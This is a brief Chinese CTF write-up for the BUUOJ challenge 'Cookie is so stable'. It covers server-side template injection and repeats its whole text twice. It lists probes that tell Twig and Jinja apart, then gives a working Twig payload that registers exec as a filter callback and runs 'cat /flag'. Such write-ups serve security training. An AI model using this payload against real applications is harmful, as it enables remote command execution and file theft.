BUUOJ刷题记录 [BJDCTF2020]Cookie is so stable
ssti注入
先测引擎
Twig
{{7*'7'}} #输出49
Jinja
{{7*'7'}} #输出7777777
参考这篇文章
Twig模板对应的payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
ssti注入
先测引擎
Twig
{{7*'7'}} #输出49
Jinja
{{7*'7'}} #输出7777777
参考这篇文章
Twig模板对应的payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}